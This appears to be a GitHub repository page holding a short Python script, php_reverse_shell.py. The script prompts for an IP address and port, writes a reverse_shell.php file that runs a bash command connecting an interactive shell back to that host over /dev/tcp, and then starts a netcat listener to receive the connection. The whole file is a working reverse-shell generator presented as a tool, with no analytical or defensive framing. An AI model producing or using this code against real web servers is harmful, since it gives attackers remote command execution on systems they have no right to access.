-
Notifications
You must be signed in to change notification settings - Fork 0
/
php_reverse_shell.py
35 lines (31 loc) · 1.21 KB
/
php_reverse_shell.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
'''importing required modules'''
import ipaddress
from os import getcwd
import subprocess
def reverse_shell():
'''function that creates a PHP reverse shell and a netcat listener'''
while True:
try:
ip = input('Enter your local ip-address: ')
ipaddress.ip_address(ip)
break
except ValueError:
print('Error: Not a valid ip-address.')
while True:
try:
port = int(input('Enter a local port number: '))
if 0 <= port <= 65535:
break
print('Error: Port number must be between 0 and 65535.')
except ValueError:
print('Error: Not a valid number.')
with open(f'{getcwd()}/reverse_shell.php', mode='w', encoding='utf-8') as php_shell:
php_shell.write(f'''<?php
exec("/bin/bash -c 'sh -i >& /dev/tcp/{ip}/{port} 0>&1'");''')
print('Successfully created reverse_shell.php!')
print(f'Starting netcat listener on port: {port}')
try:
# starting netcat on user-defined port
subprocess.run(['nc', '-l', '-n', '-v', '-p', str(port)], check=True)
except subprocess.CalledProcessError as e:
print(f"Error: Starting netcat listener: {e}")